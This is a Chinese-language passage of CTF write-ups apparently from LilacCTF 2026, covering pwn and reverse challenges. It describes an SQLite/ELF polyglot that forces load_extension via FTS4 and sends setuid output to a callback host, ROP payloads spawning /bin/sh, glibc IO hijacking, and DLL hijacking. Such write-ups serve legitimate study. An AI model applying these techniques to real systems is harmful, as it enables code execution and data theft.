read_addr = leak_qword(io, read_got)
libc_base = read_addr - 0x114840
system_addr = libc_base + 0x50D70
来源:主:部分writeup/pwn部分.md;补:pwn/Chuantongxiangyan/solve.py、pwn/Chuantongxiangyan/hook_snprintf_trampoline.c
Elk
该题目涉及未公开漏洞细节,暂时下线,等待官方修复后再补充。
trustSQL-plus
题目概览:只能上传一个 SQLite 文件。服务端在 chroot 内固定执行 sqlite3 /db.sqlite "SELECT * FROM vuln;",同时丢弃 stdout 与 stderr。对我们而言等价于只有一次固定查询触发点,而且没有回显通道,因此必须让查询本身产生带外效果。
提交版主线只保留可复现闭环所需的信息。
上传文件做成单文件 polyglot,文件头是 ELF 共享库,文件尾是追加的 SQLite 数据库。
查询时利用 FTS4 的 uncompress 机制触发 load_extension,让 sqlite3 把同一个文件当作扩展加载。
扩展初始化阶段调用 /chall/readflag 拿到内容,再通过回连把结果带出。
服务端协议与环境
服务端交互可以按三段理解。
第一段是 PoW,服务端给 prefix 与 suffix,要求找到 nonce 使得 sha256(prefix + nonce) 的十六进制尾部等于 suffix。
当 suffix 长度为 6 个十六进制字符时,命中概率为
第二段是上传,PoW 通过后发送 8 字节大端长度与文件内容,落盘为 chroot 根目录的 /db.sqlite。
第三段是执行,服务端以低权限在 chroot 内运行固定命令,并设置整体超时,超时会杀进程组。
关键配置的数量不多,但每项都会直接影响闭环稳定性。
最大上传约 16 MiB,polyglot 体积要受控。
PoW 的 suffix 长度为 6 个十六进制字符,预期枚举量约为 $2^{24}$。
PoW 超时约 2 分钟,爆破逻辑需要尽量少做十六进制编码与字符串拼接。
上传超时约 2 分钟,文件生成应提前完成再连接远端。
sqlite3 超时约 120 秒,触发逻辑需要快速完成。
运行 uid 与 gid 是 65534,sqlite3 自身是低权限,读 flag 需要借助 /chall/readflag。
chroot 结构与权限
上传文件在 chroot 根目录下名为 /db.sqlite,这是唯一可控入口。
题目目录被拷贝为 /chall,其中包含 sqlite3 与 readflag。
readflag 为 setuid root,而 flag 对普通用户不可读,所以一旦能执行任意代码,最稳的取旗方式就是直接调用 readflag。
sqlite3 进程以低权限运行,因此不期待直接读取 /chall/flag 成功。
路径要点可以按几行记。
/db.sqlite 上传文件入口。
/chall/sqlite3 sqlite3 CLI。
/chall/readflag setuid 读取入口。
/chall/flag root only。
/bin/sh 基础工具。
动态库与依赖策略
服务端只拷贝少量基础工具 ls cat sh。
动态库以 libc 为主,常见的 C++ 运行库往往缺失,加载扩展失败时又没有回显可以看,因此扩展应尽量用 C 编写并只依赖 libc。
chroot 内常见的基础库路径可以按清单对照。
/lib/x86_64-linux-gnu/libc.so.6 libc。
/lib/x86_64-linux-gnu/libm.so.6 libm。
/lib/x86_64-linux-gnu/libz.so.1 libz。
/lib64/ld-linux-x86-64.so.2 loader。
/lib/x86_64-linux-gnu/libtinfo.so.6 terminfo。
/lib/x86_64-linux-gnu/libselinux.so.1 selinux。
/lib/x86_64-linux-gnu/libpcre2-8.so.0 pcre2。
PoW 与上传实现
pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/solve.py 会解析 banner 里的 prefix 与 suffix,并爆破 nonce。
为提高吞吐,suffix 长度为偶数时直接比较 digest 尾部字节串,suffix 长度为奇数时用 bitmask 只比较末尾半字节。
排障时先确认 suffix 的大小写处理,再确认比较目标是尾部而不是全体。
PoW 通过后按协议发送 8 字节大端长度与文件内容即可。
文件落盘为 /db.sqlite,随后服务端直接执行固定 SQL。
固定执行模型
sqlite3 在 chroot 后执行,工作目录是 /。
stdout 与 stderr 都重定向到 discard,所以查询结果与报错都不会回传。
服务端启用进程组并设置整体超时,超时会 kill 整个进程组,因此触发链必须在时限内完成。
这也是为什么必须走带外网络,或写出后续可读文件,但本题不存在二次读取接口,因此最终采用回连。
SQLite 约束与失败路线
本题 sqlite3 是官方 tools build。
默认 trusted_schema 为 0。
默认 defensive 为 1。
这意味着来自数据库文件的 schema 不被信任,很多带副作用的能力即使存在也无法在 schema 展开时被执行。
tools build 启动时会初始化多个扩展。
fileio 会提供 readfile 与 writefile 这类函数名。
fts3 与 fts4 会被初始化,因此后续可以依赖 FTS4 的运行时行为。
函数名能在本地看到,不等价于能在 schema 表达式里间接调用。
DIRECTONLY 是最关键的限制。
load_extension 属于 DIRECTONLY。
readfile 属于 DIRECTONLY。
writefile 属于 DIRECTONLY。
本地可以用 pragma_function_list 验证,flags 会包含 0x80000。
远端无 stdout 与 stderr,核对只能在本地容器完成。
因此 view 与 trigger 路线会整体失效。
服务端固定执行 SELECT * FROM vuln;,我们只能把副作用塞进 vuln 的定义。
只要 vuln 由 view 或 trigger 展开,函数调用就属于来自 DDL 的表达式。
来自 DDL 的表达式会触发 unsafe use 检查。
一旦命中 DIRECTONLY 或 UNSAFE 标记,就会被拒绝执行。
常见失败形态可以按现象记。
view 内调用 load_extension 会被 DIRECTONLY 拦截。
view 内调用 writefile 会被 DIRECTONLY 拦截。
trigger 间接调用同样属于 schema 表达式,因此也会失败。
sqlite_master 注入 TEMP view 在新版会被净化并回落到 main schema,因此仍会失败。
写文件读回也不可行,因为服务端没有后续读取接口。
make_db.py 里不同策略也能印证这一点。
plain 策略只是普通表 vuln,没有副作用。
view 策略会被 DIRECTONLY 拦截。
sqlite_master_temp_view 策略在新版会净化后仍失败。
appendvfs_fts4 策略可以触发扩展加载,是最终可用路线。
仓库里留下的中间产物用于对照排障。
pwn/trustSQL-plus/view_fail.sqlite 对应 view 策略失败样例。
pwn/trustSQL-plus/temp_fail.sqlite 对应 sqlite_master 注入策略失败样例。
pwn/trustSQL-plus/exploit_remote.sqlite 用于记录最终可用构造。
突破口选择很明确。
固定触发点只有 SELECT * FROM vuln;。
副作用必须发生在读取过程中。
副作用不能依赖不可信 schema 的表达式求值。
本地验证清单
远端把 stdout 与 stderr 都丢弃,所以调试必须先在本地做。
我先确认 PRAGMA trusted_schema 为 0,PRAGMA defensive 为 1。
这意味着数据库文件里的 schema 表达式默认不被信任,副作用路线会被挡。
再看 pragma_function_list,load_extension readfile writefile 的 flags 含 0x80000。
这对应 DIRECTONLY,因此它们不能从 view trigger 生成列索引表达式里被调用。
把 load_extension 写进 view 会在 prepare 阶段直接报 unsafe use。
往 sqlite_master 注入 TEMP view 也会被净化回 main schema,仍然会命中同一拦截。
make_db.py 的策略分支用于做对照。
plain 用于确认上传与打开流程。
view 与 sqlite_master_temp_view 用于复现失败路线。
appendvfs_fts4 用于生成最终可用的 polyglot 文件。
FTS4 uncompress 触发扩展加载
FTS3 与 FTS4 支持为列指定 compress 与 uncompress 的函数名。 当查询需要返回内容列时,FTS 会在内部动态准备一条读取内容表的语句。 这条语句由引擎代码生成。 它不是数据库文件里持久化的 view 或 trigger 表达式。 因此不会走 DIRECTONLY 的 schema 拦截路径。
这一点可以用一句话抓住本质。 限制拦的是来自 DDL 的表达式。 FTS4 触发的是引擎在运行时生成的查询语句。
FTS4 的调用形态也很关键。 uncompress 函数在取出内容列时被调用。 我们只需要让内容列的值本身可控。 因此插入一行内容即可触发一次 load_extension。
把固定 SELECT 变成扩展加载的做法是。
把 vuln 建为 FTS4 虚表。
让 uncompress 指向 load_extension。
在 vuln 内插入一行数据,把被解压字段内容设置为 /db.sqlite。
sqlite3 执行 SELECT * FROM vuln; 时会触发 uncompress,从而调用 load_extension 加载同一份上传文件。
compress 也需要一并指定。
仓库选用 compress=trim,原因是 trim 是内置函数且不带 DIRECTONLY。
这样 FTS4 在写入与读取内容列时都会走到 compress 与 uncompress 的路径。
最小 SQL 可以按两句理解。 第一句创建虚表 vuln。 第二句插入一行触发数据。 这一行的内容列值就是扩展加载路径。
触发链路还有两个需要提前考虑的细节。 第一是触发次数。 FTS4 在查询时可能会多次读取内容列。 因此扩展 init 侧最好做幂等,避免重复回连导致阻塞。
第二是失败时的退出速度。 服务端有整体超时并会 kill 进程组。 connect 失败应快速返回,不要做长时间重试。 readflag 失败也应直接返回,避免在 popen 或 fread 上卡死。
load_extension 的路径解析也要保持确定性。
把路径写成 /db.sqlite 可以避开工作目录差异。
把触发行写成固定 rowid 可以减少 FTS 内部计划的分歧。
路径写 /db.sqlite 而不是 db.sqlite 的原因很直接。
sqlite3 的工作目录是 /。
相对路径在不同实现与配置下容易产生歧义。
直接用绝对路径能减少环境差异带来的误判。
FTS4 表设计的要点可以按四行对照。
虚表类型选择 FTS4。
表名必须是 vuln。
uncompress 选择 load_extension。
数据内容写 /db.sqlite。
单文件 polyglot
服务端只允许上传一个文件。
传统路线是先写出一个 .so 再调用 load_extension 加载,但写文件能力被 DIRECTONLY 卡死。
因此必须把 .so 与数据库塞进同一份上传文件。
appendvfs 与 sqlite3 的追加能力就是关键。
sqlite3 tools build 支持把一个 SQLite 数据库追加到任意文件末尾。
追加后的文件尾部包含一份完整 SQLite 数据库。
sqlite3 打开该文件时会以 appendvfs 方式识别并读取尾部数据库。
同一文件的开头仍是 ELF 共享库。
动态加载器会从 ELF 头解析并忽略尾部追加数据。
这样同一份文件既能被 sqlite3 当作数据库,也能被 load_extension 当作扩展。
polyglot 结构可以按两段记。 文件头是 ELF 共享库。 文件尾是追加的 SQLite 数据库。
这一段结构能同时满足两个解析器。 sqlite3 只关心尾部追加的数据库页。 动态加载器只关心 ELF 头与 program header 指向的段。 尾部追加数据不在 ELF 记录的段范围内,因此会被忽略。
追加阶段使用 sqlite3 CLI 的 -append。
它会在输出文件尾部写入一份可被识别的 appendvfs 数据库。
这一动作不会破坏文件头部的 ELF 结构。
因此同一个文件可以被 file 识别为 shared object。
也可以被 sqlite3 打开并读取 .tables 与 .schema。
appendvfs 的识别依赖一个很直观的信号。
文件末尾会出现固定 marker 字符串 Start-Of-SQLite3-。
这是 sqlite3 CLI 在探测文件类型时用来判定追加数据库的依据之一。
如果 marker 不存在或被写坏,sqlite3 会把文件当作普通输入处理,
轻则打不开,重则会把文件头当作数据库页读取,导致后续链路直接断掉。
排障时我会先确认两件事。
其一是 ELF 头仍然完整,file 能识别为共享库。
其二是 marker 仍在末尾,说明 -append 确实完成了追加写入。
两者同时满足时,才继续去看 FTS4 表与触发行是否写对。
本地验证时建议使用题目同款 sqlite3 tools build。
不同发行版自带 sqlite3 的编译选项差异很大,
尤其是是否支持 -append 以及 appendvfs 的探测逻辑。
仓库脚本如何生成 polyglot。
pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/make_db.py 的 appendvfs_fts4 策略先写入 .so 字节。
随后调用 sqlite3 CLI 的 -append 把数据库结构与数据追加到同一文件末尾。
追加阶段会创建 FTS4 表 vuln 并插入触发行。
本地验证建议按三个信号。
查看文件头可以用 file exploit.sqlite,应显示 shared object。
查看表存在可以用 sqlite3 exploit.sqlite ".tables",应出现 vuln。
验证触发链可以用 sqlite3 exploit.sqlite "SELECT * FROM vuln;",应走到 FTS4 的 uncompress 路径。
sqlite3 无法打开时优先怀疑追加段未正确写入。
sqlite3 能打开但无触发时优先怀疑 FTS4 表或触发行未正确创建。
扩展 payload
扩展入口是 sqlite3_extension_init。
初始化阶段运行 /chall/readflag 获取输出文本。
随后建立网络连接并发送读取结果。
远端没有 stderr 回传,所以扩展应尽量减少依赖与复杂错误分支。
扩展代码放在 init 里执行有两个好处。
不依赖后续 SQL 再调用某个自定义函数。
只要 load_extension 成功,init 一定会执行。
这非常适合只有一次固定查询触发点的题。
由于回显被丢弃,闭环信号只能来自带外通道。 为了区分加载失败与网络不通,扩展里可以先发一个短 marker, 再发 readflag 的输出或错误摘要。 这样即使 readflag 失败,也能从监听端看出扩展是否被执行到。
FTS4 触发次数也需要控制预期。
一次 SELECT * FROM vuln; 可能触发多次 uncompress,
扩展 init 也可能被重复加载。
因此扩展里最好做一次性保护,避免重复执行导致阻塞或耗时超标。
payload_ext.c 的调用序列可以按步骤记。
执行 readflag 可以用 popen。
解析地址用 getaddrinfo。
建立连接用 socket 与 connect。
发送数据用 send。
清理资源用 close。
编译扩展时注意点。
目标必须是 linux amd64 的共享库。
建议用 gcc -shared -fPIC,避免引入额外动态依赖。
回连地址与端口用编译宏传入,整理版不写死具体值。
回连实现建议做两点收敛。
回连地址用 HOST 占位,在编译时用宏替换。
回连端口用 PORT 占位,在编译时用宏替换。
默认值建议用 localhost,便于本地验证。
扩展内尽量不要调用缺库的功能,避免静默加载失败。
脚本与文件分工可以按四行记。
pwn/trustSQL-plus/QWB2025_trustSQL_plus.md 负责解释 DIRECTONLY 与绕过点。
pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/payload_ext.c 负责扩展 payload 与回连发送。
pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/make_db.py 负责生成 polyglot 文件。
pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/solve.py 负责 PoW 与上传协议。
复现与排障
上传与触发流程很短。
用 make_db.py 生成 polyglot 文件。
用 solve.py 完成 PoW 并上传。
等待服务端运行固定 SELECT 触发扩展加载。
监听端接收回连并得到 LilacCTF{...}。
本地复刻建议先做。
用 pwn/trustSQL-plus/trustSQL-plus/Dockerfile 起本地服务。
先验证 polyglot 能被 sqlite3 打开并看到 vuln。
再验证固定 SELECT 能触发扩展加载。
最后再接入 solve.py 走完整协议链路。
本地监听建议先用最简单的 TCP 监听。 先验证能收到任意固定字符串。 再把 readflag 输出带出,确认 setuid 调用链路正常。 监听工具选型也会影响排障效率。 nc 适合快速确认连通性。 socat 更适合多连接与多次触发的场景。 若一次触发会建立多次连接,监听端应支持 fork 模式。
回连地址建议尽量减少不确定性。
优先使用可直接解析的主机名占位 HOST。
避免依赖环境内的自定义解析配置。
连接失败时优先缩短 connect 超时,避免拖到服务端全局超时。
排障现象可以按三类分。
回连没有到达时先确认扩展能被 load_extension 正常加载。
回连没有到达时再检查扩展是否依赖 chroot 内不存在的动态库。
触发不发生时检查 vuln 是否确实为 FTS4,以及是否插入触发行。
触发发生但无数据时检查 readflag 路径与权限位是否在 chroot 内生效。
需要缩短执行时间时减少调试输出与网络重试次数。
更细的排障顺序建议按因果链走。
先确认 SELECT * FROM vuln; 能读到内容列。
再确认 uncompress 会被调用。
再确认 load_extension 能加载同一文件头部的 ELF。
最后确认扩展 init 能执行并成功回连。
脱敏说明。
远端地址与回连地址不写入本文。
最终 flag 统一写为 LilacCTF{...}。
具体参数以 solve.py 与编译宏为准。
PoW 与上传阶段的关键片段如下。
import hashlib
import struct
def solve_pow(prefix_hex, suffix_hex):
prefix = prefix_hex.encode()
target = int(suffix_hex, 16)
need_bytes = (len(suffix_hex) + 1) // 2
mask = (1 << (4 * len(suffix_hex))) - 1
nonce = 0
while True:
d = hashlib.sha256(prefix + str(nonce).encode()).digest()
tail = int.from_bytes(d[-need_bytes:], 'big') & mask
if tail == target:
return str(nonce)
nonce += 1
sock.sendall(struct.pack('>Q', len(db)))
sock.sendall(db)
来源:pwn/trustSQL-plus/QWB2025_trustSQL_plus.md、pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/make_db.py、pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/payload_ext.c、pwn/trustSQL-plus/trustSQL-plus/trustSQL-plus/solve.py
Gate-Way
题目概览:Hexagon 架构 Linux 程序,菜单式管理服务记录。材料给出的主线是一次可控溢出覆盖返回路径,再借 dealloc_return 形态 gadget 做栈迁移,最后用 trap0 做系统调用闭环。
菜单包含新增服务与展示服务等选项。 新增服务时会读入一条服务描述字符串,字段包含地址、端口与服务名,内部再拼接复制到固定长度缓冲区。 复制环节边界处理不严,导致可以覆盖到控制流相关数据,进而把返回路径改写到 gadget。
关键 gadget 只有两个。
set_args 负责从栈上按固定布局取出 r16 到 r19,然后走 dealloc_return。
trap0 负责把 r16 到 r19 搬到调用约定寄存器并触发 trap0,等价于执行一次系统调用。
寄存器语义可以按最小闭环记。 r16 是第一个参数指针,常用来指向 payload 尾部的字符串。 r17 与 r18 分别是第二与第三个参数指针,可以置零或指向 argv 与 envp。 r19 是系统调用编号,选择 execve 或 ORW 对应编号即可。
栈迁移的核心是让 set_args 从我们控制的内存里取参数。
溢出阶段把返回地址改写为 set_args,同时让栈指针落到输入缓冲区内部。
dealloc_return 之后的取值会按我们布置的顺序装载 r16 到 r19,再跳到 trap0。
payload 布局可以按内存图对照脚本偏移。
输入缓冲区起始
padding 到覆盖点
新栈指针值
下一跳 set_args
r16
r17
r18
r19
下一跳 trap0
/bin/sh 结尾零字节
系统调用闭环有两种选法。
execve 直接执行 /bin/sh 进入交互。
若远端交互不稳定,可以把 r19 换成 open read write 的编号,参数改成目标路径与缓冲区指针,走 ORW 输出到标准输出。
当前材料缺可运行附件,无法核对偏移与系统调用编号表,提交版只保留利用结构与复验要点,复现时以实际二进制为准。 payload 布局的关键片段如下。
from pwn import p32
set_args = 0x000217E4
trap0 = 0x000214F4
stack_addr = leak_stack()
payload = b"SERVICE".ljust(104, b"a")
payload += p32(stack_addr + 5 * 4) + p32(set_args)
payload += p32(0) + p32(221) + p32(stack_addr + 7 * 4) + p32(0)
payload += p32(trap0) + b"/bin/sh\x00"
来源:主:部分writeup/LilacCTF2026 writeup by Arr3stY0u.md;补:部分writeup/pwn部分.md
na1vm
题目概览:自定义 VM 指令解释器,提供指令录入与执行两步交互。材料描述在 case 0 的写内存指令里存在三字节溢出,可以造成一次越界写。利用从这一次越界写开始,先做程序基址泄露与 libc 泄露,再构造任意写并通过 glibc IO 相关技巧接管控制流。
交互模型很固定。 选项一录入一条 VM 指令,输入 opcode 与一个打包后的整数参数。 选项二执行当前指令序列,逐条打印执行结果,输出是十进制整数,需要脚本兼容不同长度的数字。
参数整数的位域布局是后续构造的基础。 低 32 bit 是 val。 中间 16 bit 是 idx。 高位保存 reg1 与 reg2,用于选择寄存器或寻址模式。
漏洞点在写边界与写宽度不一致。 case 0 对 idx 做了范围限制,但实际执行的是 4 字节写。 当 idx 贴近边界时,4 字节写会越过允许区间末尾,形成 3 字节溢出。 这种溢出更适合做部分覆盖,保留高字节不动,只改低字节实现定向偏移。
阶段一做程序基址泄露。 用越界写把某个参与计算的指针挪到可观测位置,再通过执行结果拿到一个可解释为指针的返回值。 材料里用固定偏移把该指针还原为程序基址,示例偏移是 0x4060。
阶段二做 libc 基址泄露。
沿同样的读写路径读取 libc 内部全局对象指针,材料以 _IO_2_1_stderr_ 为锚点。
输出通常拆成低 32 bit 与高 32 bit 两段,需要按顺序拼回 64 bit 指针。
用该指针减去符号偏移得到 libc 基址,随后可以定位 system、setcontext、mprotect 等关键符号。
阶段三把越界写扩展成可用的任意写。 利用 case 0 的 4 字节写组合出 8 字节写,先写低 4 字节再写高 4 字节。 选择程序数据段内稳定地址作为伪造区,在靠近全局数组的位置布置 fake file 结构与 vtable 指针。 思路上接近 house of apple2,把一次正常的 IO 路径转成间接调用,最终落到 libc gadget。
触发点来自错误分支的 IO。
材料通过改写 pid 等字段引导程序走到 perror 类错误分支,从而触发 stderr 相关 IO 路径。
命中伪造对象后通过 vtable 派发把执行流导向 setcontext,把栈与寄存器切到完全可控区域,进入更稳定的 ROP 阶段。
最终闭环可以选择 ORW。
用 mprotect 把伪造区所在页改成可执行,再跳转到 ORW shellcode 读取目标文件并输出。
若环境不允许外连,优先用 open read write 输出到标准输出,避免把带外网络当作唯一通道。
伪造布局可以按一段内存图去对照脚本。
数据段伪造区
fake FILE 结构字段
指向 vtable 的指针
可控 ROP 区
ORW shellcode 与路径字符串
当前仓库缺可执行程序与 libc,关键偏移与结构体布局无法本地核对,提交版按材料保留可迁移的利用链路与复验要点。
越界写的编码方式在脚本里很关键,片段如下。
def vm_pack(opcode, reg1, reg2, idx, val):
return (reg1 << 52) | (reg2 << 48) | (idx << 32) | (val & 0xFFFFFFFF)
payload0 = vm_pack(0, 0, 0, 0x10000 - 2, 0x8c010000)
send_u64(payload0)
# 之后用同一原语泄露 text 与 libc, 再布置控制流
来源:主:部分writeup/LilacCTF2026 writeup by Arr3stY0u.md;补:部分writeup/pwn部分.md
Reverse
这一组以“还原校验/加密逻辑 → 构造满足条件的输入或直接解密”为主;整理版强调:常量从哪来、怎么验证。
JustRom
题目概览:给一份 rom.bin,题面不告知架构与加载地址。
ROM 内有一套极简字节码 VM 与校验函数,
目标是构造能通过校验的 32 bytes 输入并得到 LilacCTF{...}。
架构指纹与关键偏移
rom.bin 约 80 KiB,开头是一整片无条件跳转表,
跳转目标集中在 0x4000 附近,很像 SPARC 的 trap table。
按 SPARC v8 且 big-endian 载入后可以得到连续指令流,
而按 little-endian 会出现大量无意义指令与断裂控制流。
这类 ROM 的第一步不需要强行跑起来。 只要找到一条能自洽的反汇编视角即可。 在这个样本里,big-endian 下控制流密度很高, 而 little-endian 下几乎处处是无效组合,这个对比足够做架构指纹。
文件本身还有一个很直观的结构信号。
开头跳表区域占比很大,后半段才出现更密集的运算指令。
这也符合 trap table 加上实际固件代码的常见排布。
仓库里附带了一张 rom.bin 的可视化图,用来辅助确认这种分段感。
图里左侧跳表区域呈现大块高密度结构,右侧才是更碎的运算指令区。
对照它能更快决定反汇编的起点与关注的代码段。
如果需要复现这张图,按 byte 值把 rom.bin 画成灰度图即可。

对解题最有用的偏移有几处。
VM 主循环在 0x4d20 附近,负责读 opcode 并更新 tape。
校验函数在 0x4ab0 附近,负责生成 keystream 并比较输入。
keystream 初始化在 0x409c,轮函数 core 在 0x4238。
进入 VM 前还会比较常量 0x4e4f454c,
按 ASCII 是 NOEL,更像环境握手而不是校验关键。
NOEL 这四个字节对定位也很友好。
它往往出现在进入主循环前的状态检查里。
从这里向前后跟几次跳转,就能收敛到 VM 入口与校验入口。
整理版不需要完整模拟外设,只要确认关键函数的语义即可。
VM 输入通道
VM 每次从一个 MMIO 地址读入 1 byte opcode, 维护一个 idx 指针,操作一段 1 byte tape。 tape 的前 32 bytes 是最终校验用的输入区。 每处理完一条 opcode,程序会回写 ACK 值,便于外部驱动同步。
opcode 输入地址是 0x42000200,方向为读。
tape 区基址是 0x42000000,方向为读写,以 idx 做偏移。
成功输出地址是 0x42000100,方向为写。
ACK 地址也是 0x42000200,方向为写,回写值为 0xff。
opcode 集合很小,足够把任意 byte 从 0 构造出来。
0x10 idx 置零。
0x11 idx 加一。
0x22 idx 减一。
0x33 tape[idx] 清零。
0x44 tape[idx] 加一。
0x55 tape[idx] 乘二。
0xee 触发校验。
校验等式与输入恢复
校验函数先在栈上拼出两段 32 bytes 常量 A 与 B, 逐字节异或得到 $X$。 随后生成一段 ChaCha like keystream,取前 32 bytes。 比较条件等价于
$$ \mathrm{input}\oplus\mathrm{keystream}=X $$因此可以直接解出
$$ \mathrm{input}=X\oplus\mathrm{keystream} $$常量 A 与 B 的还原比看起来更费劲一点。
原因不是运算复杂,而是落栈方式容易被反编译器误判。
在 SPARC v8 里,std 会把一对寄存器按顺序写到栈上。
一些工具会把这类指令标成 invalid,
但只要按寄存器对与偏移递增顺序把 32 bit word 拼回去即可。
我用常量 A 做自检。 它在还原后是一段可读 ASCII 文本, 这能快速确认端序与写栈顺序都没有搞反。 常量 B 则更像随机值,主要用于和 A 做异或得到目标 $X$。
keystream 部分同样有一个自检点。
常量区里能读到 apxe3 dnyb-2k et 这类反序字符串。
把它按 32 bit word 并以 little-endian 解释后,
恰好对应 ChaCha 的 sigma 常量,这能确认你走在正确的算法族上。
state 的 key 与 nonce 在 ROM 内是硬编码的。
key 区看起来非常刻意,带有 deadbeef 一类模式值,
nonce 区则是连续的 AAAA BBBB CCCC。
counter 固定为 1,所以 keystream 是完全可复现的。
剩下就是把 core 的轮数与输出序列化方式对齐。
轮数判断来自循环计数器的步进。 它每次加二并与七比较,因此一共跑四次 double-round, 最终等价于 8 rounds 的 ChaCha like core。
A 与 B 的拼装来自 SPARC 的 sethi 与 or 组合,
并通过 std 成对写寄存器落到栈上。
一些反汇编器会把 std 标成 invalid,
但只要按寄存器对与写栈顺序把 32 bit word 拼接起来,
就能稳定还原出两段 32 bytes 常量。
常量 A 在还原后是可读 ASCII,
这是最方便的自检信号。
keystream 的 word 序列化端序是本题的主要坑点。 比较发生在字节序列上, keystream 的 32 bit word 需要按 little-endian 序列化成 bytes 才能对齐。 如果序列化端序写反, 解出的 input 往往不可读,且 VM 写入后校验必然失败。
我一般会把端序问题拆成两次验证。
先在本地算出 input 的 32 bytes,看它是否接近可读文本。
再把算出的 bytes 喂给 VM 构造逻辑,确认能触发成功分支。
两步都通过时,端序与常量拼装基本就稳定了。
随后只要按题面提交即可,整理版统一写为 LilacCTF{...}。
写入 tape 与触发校验
tape 的每个 byte 从 0 起步。
先用 0x33 清零,
再用 0x55 做乘二与 0x44 做加一,按位构造目标值。
每写完一个 byte 用 0x11 把 idx 移到下一格,
重复 32 次后发送 0xee 触发校验即可。
re/JustRom/solve.py 会自动提取 A B 与 keystream,
算出 32 bytes 输入并输出对应的 VM bytecode。
如果 VM 执行无回显,通常是没有等待 ACK,
如果 A 不可读,通常是 std 写栈顺序拼错。
解题脚本里 ChaCha like core 与 VM 编码核心如下。
def rotl32(x, n):
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def quarter_round(a, b, c, d):
a = (a + b) & 0xFFFFFFFF
d ^= a
d = rotl32(d, 16)
c = (c + d) & 0xFFFFFFFF
b ^= c
b = rotl32(b, 12)
a = (a + b) & 0xFFFFFFFF
d ^= a
d = rotl32(d, 8)
c = (c + d) & 0xFFFFFFFF
b ^= c
b = rotl32(b, 7)
return a, b, c, d
def vm_program_for_bytes(data):
prog = bytearray()
prog.append(0x10)
for i, b in enumerate(data):
prog.append(0x33)
for bit in range(7, -1, -1):
prog.append(0x55)
if (b >> bit) & 1:
prog.append(0x44)
if i != len(data) - 1:
prog.append(0x11)
prog.append(0xEE)
return bytes(prog)
来源:re/JustRom/JustROM.md、re/JustRom/solve.py
Kilogram
题目概览:给 Windows 程序 chall.exe 与加密文件 flag.enc。程序解密后得到一张图片,从图片中读出提交内容。
附件形态与复现建议
目录里通常同时有 chall.exe 与 chall_unpacked.exe
chall.exe 适合直接运行与动态观测
chall_unpacked.exe 更适合静态分析整体数据流与算法
flag.enc 头部有固定魔数,便于反查解密入口
flag.enc 文件结构
偏移 0x00 长度 8 是固定魔数。
偏移 0x08 长度 64 是 masked_var170。
偏移 0x48 长度 32 是 var150。
偏移 0x68 起到文件末尾前是 ciphertext。
文件末尾还有 16 bytes 的 tag。
提取 var150 时建议直接读 0x48 处的 32 bytes,避免把末尾 tag 混入
提取 masked_var170 时建议直接读 0x08 处的 64 bytes,后续 XOR 还原更直观
正文 ciphertext 从 0x68 开始,离线解密时先把末尾 16 bytes 当作 tag 去掉
解密后的图片文件头应匹配 JPEG 或 PNG 等常见魔数
若图片头不对,优先检查 S 初始化常数与 keystream 取法是否与程序一致
解题主线是先还原 var170 再解正文 ciphertext 得到图片
尾部 tag 在离线解出图片这一步可以先不依赖,优先保证图片可打开
整体数据流
从 flag.enc 读取 masked_var170 与 var150
由 var150 通过 KDF 得到 var110
用 var110 生成 mask 解出 var170
用 var170 生成 keystream 解密 ciphertext
解密产物是图片,最终用 OCR 或直接查看得到提交字符串
用魔数快速定位解密入口
flag.enc 的魔数是固定字节串,适合在二进制里做字符串或常量搜索
通过对魔数的交叉引用可快速落到读取文件与分段解析的函数
沿调用链向下即可看到 mask 还原与正文 XOR 的实现
这一步在 chall_unpacked.exe 上更直观,因为壳逻辑更少
流加密主体为 RC4 like
先做一套 KSA 生成 256 byte 状态表 S 初始化不是 S 等于 i,而是 S 等于 i 加常数后再做置换 置换过程仍是 256 次迭代,按 key 循环更新 j 并交换 S[i] 与 S[j] keystream 生成比标准 RC4 更简单,直接取 S 的循环索引,不做双指针 PRGA 解密与加密同构,都是 ciphertext XOR keystream 得到 plaintext
masked_var170 的含义
文件里保存的不是正文真实 key,而是被 mask 的 64 bytes
先用 var110 走同一套 KSA 得到 S_mask
对每个字节执行 XOR,可把 masked_var170 还原成 var170
var110 的获取策略
KDF 代码在程序内部,直接硬逆通常会被壳与复杂依赖拖慢
更稳定的路线是黑盒借用程序计算,把 var110 导出后再做离线解密
仓库提供 re/Kilogram/cryptbase_proxy.c,通过替换 cryptbase.dll 劫持加载流程
DLL 在初始化阶段起线程,等待壳把目标代码解开到内存
线程按模块基址加固定 RVA 调用内部 KDF,把输入常量与 var150 送入并拿到 64 bytes 输出
输出会写到固定文件供脚本读取
KDF 的输入输出关系
固定字符串来自程序内常量,作为 KDF 的固定输入之一。
var150 来自 flag.enc,长度 32 bytes,是 KDF 的可变输入。
var110 是 KDF 输出,长度 64 bytes,用于生成 mask。
masked_var170 来自 flag.enc,长度 64 bytes,是被 mask 的正文 key。
var170 由 XOR 还原得到,长度 64 bytes,是正文解密 key。
mask 还原的等式表达
先用 var110 生成 S_mask
对 i 从 0 到 63 执行 var170[i] 等于 masked_var170[i] XOR S_mask[i]
得到 var170 后再生成 S_enc,对 ciphertext 做 XOR 得到 plaintext
这一组等式可直接写成离线脚本,不需要依赖程序内部的校验分支
KSA 的文字版伪代码
S 初始化为 256 byte,元素为 i 加常数后取低 8 bit j 置零 对 i 从 0 到 255 迭代 j 加 S[i] 加 key 的循环索引字节,再取低 8 bit 交换 S[i] 与 S[j] keystream 不做 PRGA 双指针,只按 i 的循环索引取 S 的值
DLL 劫持的环境变量与输出
KG_COMPUTE110 启用导出 var110,建议设为 1。
KG_VAR150_HEX 传入 var150 的 hex,长度应为 64。
输出文件用于写出 var110,默认位置是 C:\\var110.bin。
可复核的静态地址信息
KDF 入口在脱壳镜像中位于固定 RVA 运行时调用时需要用模块基址加 RVA 得到真实地址 这一地址信息只用于黑盒导出,离线解密不依赖其具体数值
尾部 tag 的处理策略
文件末尾 16 bytes 在程序中用于完整性校验或附加信息 为了先拿到图片,可优先只解密正文并验证图片能正常打开 若需要补全校验逻辑,可再回到二进制中定位 tag 的计算方式做复验
DLL 劫持实现要点
